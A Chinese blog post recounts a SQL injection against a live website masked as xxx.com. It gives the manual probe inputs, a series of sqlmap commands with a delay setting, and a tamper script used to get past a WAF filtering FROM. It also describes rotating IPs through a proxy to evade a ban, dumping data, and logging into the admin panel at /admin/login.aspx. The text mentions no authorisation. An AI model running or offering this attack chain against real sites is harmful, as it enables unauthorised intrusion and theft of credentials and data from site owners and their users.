實戰|記一次SQL注入過WAF思路分享

  • 2019 年 11 月 20 日
  • 筆記

判斷注入點

輸入 ' –> 報錯

輸入 '' –> 回顯正常

可以確定是使用單引號閉合的

輸入 ' and '1'='1 –> 回顯正常, 可以查詢到數據

輸入 ' and '1'='2 –> 回顯正常, 但未查詢到數據

可以確定存在注入

接下來就是跑數據, 直接掏出sqlmap

sqlmap -u "http://www.xxx.com?id=2" --batch

一片紅!!! nice

再次訪問IP已經被封掉了

根據經驗推測應該是因為訪問過於頻繁導致的

開代理換個IP, 加個延時參數繼續

OK, 成功跑出注入點

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch

查詢當前資料庫用戶許可權, 不是高許可權, 所以只能去找Web後台管理員帳號密碼

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba

查詢當前資料庫, 成功

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db

查詢表, 失敗

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables

嗯??? nice

有WAF, 趕緊去訪問網站看看IP有沒有被封

還好, 沒有被封

顯示payload, 看看是哪句被攔截了

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables -v 3

可以看到第一次被攔截的payload

將被攔截的payload的放到瀏覽器中去訪問, 果然被WAF攔截了

手工模糊測試, 發現被攔截的為關鍵字: FROM

這裡說下個人思路:

  1. 在已經確定是什麼WAF的前提下, 網上去查詢過相關WAF的思路, 這裡我找到了幾個, 嘗試後還是沒有繞過去
  2. sqlmap自帶有過WAF腳本, 我去查詢了下有沒有能代替<FROM>的其他關鍵字, 很遺憾沒找到
  3. 然後考慮嘗試使用編碼, 注釋類的腳本去過, 經過反覆測試, 成功繞過
  4. 查詢tamper腳本的相關文章鏈接: https://www.freebuf.com/sectool/179035.html
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables -v 3 --tamper=halfversionedmorekeywords

接下來就簡單多了

查詢表–tables


查詢列–columns


查詢數據–dump


sqlmap跑數據的同時, 我去找了下後台

因為限制了訪問速度, 所以這裡我沒有選擇用御劍等工具去掃, 一般情況下可以先去做下目錄掃描

看看有沒有robots.txt文件, 404

搜索引擎搜索一波

找到一個會員登錄的頁面: http://www.xxx.com/login.aspx

額…, 一看會員登錄是這種文件名, 管理員後台也不會難找到哪裡去

順手在login.aspx前加了個admin

http://www.xxx.com/admin/login.aspx

特么的就訪問成功了…

所以這裡我得出了一個重要的結論: 運氣好等於成功了一半 (手動滑稽)

成功登錄, 至此測試結束

這裡不再進行深入測試